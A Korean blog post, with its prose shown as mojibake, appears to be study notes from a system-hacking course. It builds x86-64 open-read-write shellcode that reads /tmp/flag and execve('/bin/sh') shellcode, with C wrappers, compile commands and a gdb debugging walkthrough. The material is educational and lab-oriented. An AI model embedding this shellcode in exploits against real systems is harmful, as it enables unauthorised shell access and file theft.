1. ์๋ก
์ต์คํ๋ก์
์๋ ์์คํ ์ ๊ณต๊ฒฉํ๋ ๊ฒ
์ ธ์ฝ๋(Shellcode)
์ต์คํ๋ก์์ ์ํด ์ ์๋ ์ด์ ๋ธ๋ฆฌ ์ฝ๋ ์กฐ๊ฐ
์ด์ ๋ธ๋ฆฌ์ด๋ก ๊ตฌ์ฑ๋๋ฏ๋ก ๊ณต๊ฒฉ์ ์ํํ ๋์ ์ํคํ ์ฒ์ OS์ ๋ฐ๋ผ ๋ค๋ฅด๊ฒ ์์ฑ๋๋ค.
2. orw ์ ธ์ฝ๋
orw ์ ธ์ฝ๋๋ ํ์ผ์ ์ด๊ณ , ์ฝ์ด์ ํ๋ฉด์ ์ถ๋ ฅํด์ค๋ค.
/
2.1. “/tmp/flag”๋ฅผ ์ฝ๋ orw ์ ธ์ฝ๋ ์์ฑํด ๋ณด๊ธฐ
c ์ฝ๋๋ก ํํํ๋ฉด ๋ค์๊ณผ ๊ฐ๋ค.
char buf[0x30];
int fd = open("/tmp/flag", RD_ONLY, NULL);
read(fd, buf, 0x30);
write(1, buf, 0x30);
์์์ผ ํ๋ syscall์ ๋ค์๊ณผ ๊ฐ๋ค.
| syscall | rax | arg0 (rdi) | arg1 (rsi) | arg2 (rdx) |
| read | 0x00 | unsigned int fd | char *buf | size_t count |
| write | 0x01 | unsigned int fd | const char *buf | size_t count |
| open | 0x02 | const char *filename | int flags | umode_t mode |
int fd = open(“/tmp/flag”, O_RDONLY, NULL)
| syscall | rax | arg0 (rdi) | arg1 (rsi) | arg2 (rdx) |
| open | 0x02 | const char *filename | int flags | umode_t mode |
์ฐ์ "/tmp/flag"๋ผ๋ ๋ฌธ์์ด์ ๋ฉ๋ชจ๋ฆฌ์ ์์น์์ผ์ผ ํ๋ค. ์ด๋ฅผ ์ํด ์คํ์ 0x616c662f706d742f67(/tmp/flag)๋ฅผ pushํ์ฌ ์์น์ํฌ ๊ฒ์ด๋ค. ์คํ์๋ 8๋ฐ์ดํธ ๋จ์๋ก๋ง ๊ฐ์ pushํ ์ ์์ผ๋ฏ๋ก 0x67๋ฅผ ๋จผ์ pushํ ๋ค์ 0x616c662f706d742f๋ฅผ pushํ๋ค. ๊ทธ๋ฆฌ๊ณ rdi๊ฐ ์ด๋ฅผ ๊ฐ๋ฆฌํค๋๋ก rsp๋ฅผ rdi๋ก ์ฎ๊ธด๋ค.
//
a l f / p m t / g
0x67์ 1๋ฐ์ดํธ(8๋นํธ)
O_RDONLY๋ 0์ด๋ฏ๋ก, rsi๋ 0์ผ๋ก ์ค์ ํ๋ค.
ํ์ผ์ ์ฝ์ ๋, mode๋ ์๋ฏธ๋ฅผ ๊ฐ์ง ์์ผ๋ฏ๋ก rdx๋ 0์ผ๋ก ์ค์ ํ๋ค.
rax๋ฅผ open์ syscall ๊ฐ์ธ 2๋ก ์ค์ ํ๋ค.
๊ตฌํ
push 0x67
mov rax, 0x616c662f706d742f
push rax
mov rdi, rsp ; rdi = "/tmp/flag"
xor rsi, rsi ; rsi = 0 ; RD_ONLY
xor rdx, rdx ; rdx = 0
mov rax, 2 ; rax = 2 ; syscall_open
syscall ; open("/tmp/flag", RD_ONLY, NULL)
//
์๊ธฐ ์์ ๊ณผ์ xor ์ฐ์ฐ์ ํญ์ 0
read(fd, buf, 0x30)
| syscall | rax | arg0 (rdi) | arg1 (rsi) | arg2 (rdx) |
| read | 0x00 | unsigned int fd | char *buf | size_t count |
syscall์ ๋ฐํ ๊ฐ์ rax๋ก ์ ์ฅ๋๋ค. ๋ฐ๋ผ์ open์ ๋ฆฌํด ํ์ผ์ธ /tmp/flag์ fd๋ rax์ ์ ์ฅ๋๋ค.
read์ ์ฒซ ๋ฒ์งธ ์ธ์๋ฅผ ์ด ๊ฐ์ผ๋ก ์ค์ ํด์ผ ํ๋ฏ๋ก rax๋ฅผ rdi์ ๋์ ํ๋ค.
rsi๋ ํ์ผ์์ ์ฝ์ ๋ฐ์ดํฐ๋ฅผ ์ ์ฅํ ์ฃผ์๋ฅผ ๊ฐ๋ฆฌํจ๋ค. 0x30๋งํผ ์ฝ์ ๊ฒ์ด๋ฏ๋ก, rsi์ 'rsp-0x30'์ ๋์ ํ๋ค
rdx๋ ํ์ผ๋ก๋ถํฐ ์ฝ์ด๋ผ ๋ฐ์ดํฐ์ ๊ธธ์ด์ธ 0x30์ผ๋ก ์ค์ ํ๋ค.
read ์์คํ ์ฝ์ ํธ์ถํ๊ธฐ ์ํด์ rax๋ฅผ 0์ผ๋ก ์ค์ ํ๋ค.
๊ตฌํ
mov rdi, rax ; rdi = fd
mov rsi, rsp
sub rsi, 0x30 ; rsi = rsp-0x30 ; buf
mov rdx, 0x30 ; rdx = 0x30 ; len
mov rax, 0x0 ; rax = 0 ; syscall_read
syscall ; read(fd, buf, 0x30)
write(1, buf, 0x30)
| syscall | rax | arg0 (rdi) | arg1 (rsi) | arg2 (rdx) |
| write | 0x01 | unsigned int fd | const char *buf | size_t count |
์ถ๋ ฅ์ stdout์ผ๋ก ํ ๊ฒ์ด๋ฏ๋ก, rdi๋ฅผ 0x1๋ก ์ค์ ํ๋ค.
rsi์ rdx๋ read์์ ์ฌ์ฉํ ๊ฐ์ ๊ทธ๋๋ก ์ฌ์ฉํ๋ค.
write ์์คํ ์ฝ์ ํธ์ถํ๊ธฐ ์ํด์ rax๋ฅผ 1๋ก ์ค์ ํ๋ค.
๊ตฌํ
mov rdi, 1 ; rdi = 1 ; fd = stdout
mov rax, 0x1 ; rax = 1 ; syscall_write
syscall ; write(fd, buf, 0x30)
์ข ํฉํ๋ฉด ๋ค์๊ณผ ๊ฐ๋ค.
;Name: orw.S
push 0x67
mov rax, 0x616c662f706d742f
push rax
mov rdi, rsp ; rdi = "/tmp/flag"
xor rsi, rsi ; rsi = 0 ; RD_ONLY
xor rdx, rdx ; rdx = 0
mov rax, 2 ; rax = 2 ; syscall_open
syscall ; open("/tmp/flag", RD_ONLY, NULL)
mov rdi, rax ; rdi = fd
mov rsi, rsp
sub rsi, 0x30 ; rsi = rsp-0x30 ; buf
mov rdx, 0x30 ; rdx = 0x30 ; len
mov rax, 0x0 ; rax = 0 ; syscall_read
syscall ; read(fd, buf, 0x30)
mov rdi, 1 ; rdi = 1 ; fd = stdout
mov rax, 0x1 ; rax = 1 ; syscall_write
syscall ; write(fd, buf, 0x30)
orw ์ ธ์ฝ๋ ์ปดํ์ผ ๋ฐ ์คํ
์๋์ฐ์ PE, ๋ฆฌ๋ ์ค์ ELF์ฒ๋ผ ๋๋ถ๋ถ์ OS๋ ์คํ ๊ฐ๋ฅํ ํ์ผ์ ํ์์ ๊ท์ ํ๊ณ ์๋ค.
์์์ ๊ตฌํํ ์ ธ์ฝ๋ orw.S๋ ์์คํค๋ก ์์ฑ๋ ์ด์ ๋ธ๋ฆฌ ์ฝ๋์ด๋ฏ๋ก
gcc ์ปดํ์ผ์ ํตํ ELF ํ์์ผ๋ก์ ๋ณํ์ด ํ์ํ๋ค.
์ค์ผ๋ ํค ์ฝ๋์ ์์ ์์ฑํ ์ ธ์ฝ๋๋ฅผ ์ฑ์ด๋ค.
// File name: orw.c
// Compile: gcc -o orw orw.c -masm=intel
__asm__(
".global run_sh\n"
"run_sh:\n"
"push 0x67\n"
"mov rax, 0x616c662f706d742f \n"
"push rax\n"
"mov rdi, rsp # rdi = '/tmp/flag'\n"
"xor rsi, rsi # rsi = 0 ; RD_ONLY\n"
"xor rdx, rdx # rdx = 0\n"
"mov rax, 2 # rax = 2 ; syscall_open\n"
"syscall # open('/tmp/flag', RD_ONLY, NULL)\n"
"\n"
"mov rdi, rax # rdi = fd\n"
"mov rsi, rsp\n"
"sub rsi, 0x30 # rsi = rsp-0x30 ; buf\n"
"mov rdx, 0x30 # rdx = 0x30 ; len\n"
"mov rax, 0x0 # rax = 0 ; syscall_read\n"
"syscall # read(fd, buf, 0x30)\n"
"\n"
"mov rdi, 1 # rdi = 1 ; fd = stdout\n"
"mov rax, 0x1 # rax = 1 ; syscall_write\n"
"syscall # write(fd, buf, 0x30)\n"
"\n"
"xor rdi, rdi # rdi = 0\n"
"mov rax, 0x3c # rax = sys_exit\n"
"syscall # exit(0)");
void run_sh();
int main() { run_sh(); }
์ ธ์ฝ๋๊ฐ ์ค์ ๋ก ์๋ํจ์ ํ์ธํ๊ธฐ ์ํด /tmp/flag ํ์ผ์ ์์ฑํ๋ค.
echo 'flag{this_is_open_read_write_shellcode!}' > /tmp/flag
orw.c๋ฅผ ์ปดํ์ผํ๊ณ , ์คํํ๋ค.
$ gcc -o orw orw.c -masm=intel
$ ./orw
flag{this_is_open_read_write_shellcode!}
์ ธ์ฝ๋ ์คํ์ด ์ฑ๊ณตํ๋ฉด, ์ ์ฅํ ๋ฌธ์์ด์ด ์ถ๋ ฅ๋๋ค.

์ฌ๊ธฐ์ /tmp/flag์ ๋ฌธ์์ด ์ด์ธ์ ์ ์ ์๋ ๋ฌธ์์ด๋ค์ด ์ถ๋ ฅ๋๋ ๊ฒฝ์ฐ๊ฐ ์๋ค.
์ด๊ธฐํ๋์ง ์์ ๊ฐ๋น์ง ๊ฐ์ด ์ถ๋ ฅ๋ ๊ฒ์ด๋ค.
์ด๋ฐ ๊ฒฝ์ฐ ๋๋ฒ๊น ์ ํตํด ์ ธ ์ฝ๋์ ๋์์ ์์๋ด์ผ ํ๋ค.
/
2.2. orw ์ ธ์ฝ๋ ๋๋ฒ๊น
gdb๋ก orw๋ฅผ ์ด๊ณ , run_sh()์ ๋ธ๋ ์ดํฌ ํฌ์ธํธ๋ฅผ ์ค์ ํ๋ค.
$ gdb orw -q
...
pwndbg> b *run_sh
Breakpoint 1 at 0x1129
No such file or directory ์๋ฌ๊ฐ ๋ฐ์ํ์๋ค.
sudo apt-get install libc6-i386 lib32gcc1
์์ ์ฝ๋๋ฅผ ์ ๋ ฅํด์ฃผ๋ฉด
lib32gcc1 ํจํค์ง๋ฅผ ์ฌ์ฉํ ์ ์๋ค๋ ๋ฌธ๊ตฌ๊ฐ ๋จ๋๋ฐ,

๊ทธ๋๋ ์ด์ ํ์ผ์ด ์ด๋ฆฐ๋ค.
r์ ์ ๋ ฅํด bp ์ ๊น์ง์ ์ฝ๋๋ฅผ ์คํ์ํค์.
์์ฑํ ์ ธ ์ฝ๋์ rip๊ฐ ์์นํ ๊ฒ์ ํ์ธํ ์ ์๋ค.
int fd = open("/tmp/flag",O_RDONLY, NULL)
DISASM์์ ์ฒซ ๋ฒ์งธ syscall์ด ์์นํ run_sh+29์ bp๋ฅผ ์ค์ ํ ๋ค,
ํด๋น ์์ ์ syscall์ ๋ค์ด๊ฐ๋ ์ธ์๋ฅผ ํ์ธํด๋ณด์.

ni๋ก syscall์ ์คํํ๊ณ ๋๋ฉด,
/tmp/flag์ fd(3)์ด rax์ ์ ์ฅ๋๋ค.

read(fd, buf, 0x30)
๋ ๋ฒ์งธ syscall์ธ run_sh+55์ bp๋ฅผ ์ค์ ํ ๋ค, ๊ณ์ ์คํํ๋ค.

์๋ก ํ ๋น๋ fd(3)์์ 0x30๋ฐ์ดํธ๋งํผ์ ๋ฐ์ดํฐ๋ฅผ ์ฝ์ด์ 0x7fffffffdfd8์ ์ ์ฅํ ๊ฒ์ ํ์ธํ ์ ์๋ค.
ni๋ก syscall์ ์คํํ๋ฉด,

ํ์ผ์ ๋ฌธ์์ด์ด 0x7fffffffdfd8์ ์ ์ฅ๋์์์ ์ ์ ์๋ค.
x/s 0xfffffffdfd8 ๋ช ๋ น์ด๋ก๋ ํ์ธ ๊ฐ๋ฅํ๋ค.
write(1, buf, 0x30)
ni๋ก ๊ณ์ ์คํํ๋ฉด, ๋ฐ์ดํฐ๋ฅผ ์ ์ฅํ 0xfffffffdfd8์์ ๋ฌธ์์ด์ด ์ถ๋ ฅ๋๋ค.
/
uninitialized memory
๊ฐ๋น์ง ๊ฐ์ด ํจ๊ป ์ถ๋ ฅ๋์๋ค๋ฉด, ํ์ผ์์ ๊ฐ์ ์ฝ์ด์ฌ ๋์ ๋ฌธ์ ์ผ ์ ์๋ค.
read syscall์ ์คํํ ์งํ๋ฅผ ์ดํ๋ค.

ํ์ผ์ ์ฝ์ด์ ์คํ์ ์ ์ฅํ๋ค.
์คํ์ ์ดํผ์.
x/6gx 0xfffffffdfd8 ๋ช ๋ น์ด๋ฅผ ํตํด ๋ฌธ์์ด ์ธ์ ๋ ๋ฐ์ดํธ๋ฅผ ๋ณผ ์ ์๋ค.
๊ทธ๊ณณ์ ๊ฐ๋น์ง ๊ฐ์ด ๋ค์ด์๋ ๊ฒฝ์ฐ์ผ ๊ฒ์ด๋ค.
3. execve ์ ธ ์ฝ๋
execve ์ ธ์ฝ๋๋ execve ์์คํ ์ฝ๋ง์ผ๋ก ๊ตฌ์ฑ๋๋ค.
์์คํ ์ฝ์ ์ข ๋ฅ๋ rax๋ก ์ง์นญํ๊ณ , execve
| syscall | rax | arg0 (rdi) | arg1 (rsi) | arg2 (rdx) |
| execve | 0x3b | const char *filename | const char *const *argv | const char *const *envp |
ํ์ผ ์ง์ ์ ๋ฒํธ 0 : stdin, 1 : stdout, 2 : stderr
argv : ์คํํ์ผ์ ๋๊ฒจ์ค ์ธ์
envp : ํ๊ฒฝ๋ณ์
์ง๊ธ์ sh๋ง ์คํํ๋ฉด ๋๋ฏ๋ก ๋๋จธ์ง ๊ฐ๋ค์ null๋ก ์ค์ ํด๋ ์๊ด ์๋ค.
๋ฆฌ๋ ์ค์ ๊ธฐ๋ณธ ์คํ ํ๋ก๊ทธ๋จ๋ค์ /bin/ ๋๋ ํ ๋ฆฌ์ ์ ์ฅ๋์ด ์์ผ๋ฉฐ, sh๋ ๋ฌผ๋ก ์ฌ๊ธฐ์ ์๋ค.
๋ฐ๋ผ์ execve("/bin/sh", null, null)์ ์คํํ๋ ์ ธ ์ฝ๋๋ฅผ ์์ฑํ์.
;Name: execve.S
mov rax, 0x68732f6e69622f
push rax
mov rdi, rsp ; rdi = "/bin/sh\x00"
xor rsi, rsi ; rsi = NULL
xor rdx, rdx ; rdx = NULL
mov rax, 0x3b ; rax = sys_execve
syscall ; execve("/bin/sh", null, null)
์ค์ผ๋ ํค ์ฝ๋๋ฅผ ์ด์ฉํ์ฌ execve ์ ธ ์ฝ๋๋ฅผ ์ปดํ์ผํ์.
// File name: execve.c
// Compile Option: gcc -o execve execve.c -masm=intel
__asm__(
".global run_sh\n"
"run_sh:\n"
"mov rax, 0x68732f6e69622f\n"
"push rax\n"
"mov rdi, rsp # rdi = '/bin/sh'\n"
"xor rsi, rsi # rsi = NULL\n"
"xor rdx, rdx # rdx = NULL\n"
"mov rax, 0x3b # rax = sys_execve\n"
"syscall # execve('/bin/sh', null, null)\n"
"xor rdi, rdi # rdi = 0\n"
"mov rax, 0x3c # rax = sys_exit\n"
"syscall # exit(0)");
void run_sh();
int main() { run_sh(); }
'๐ ๋ณด์ยท์ทจ์ฝ์ > ๐ธ์์คํ ยท์ด์์ฒด์ ' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
| [OS] ์์คํ ๊ตฌ์กฐ (0) | 2023.10.01 |
|---|---|
| [ubunbtu] sscanf, argc/argv ์ค์ต (0) | 2023.09.18 |
| [dreamhack] Background: Computer Architecture (0) | 2023.07.10 |
| [dreamhack] System Hackig Introduction (0) | 2023.07.08 |
| [dreamhack] pwnable.kr bof (0) | 2022.08.21 |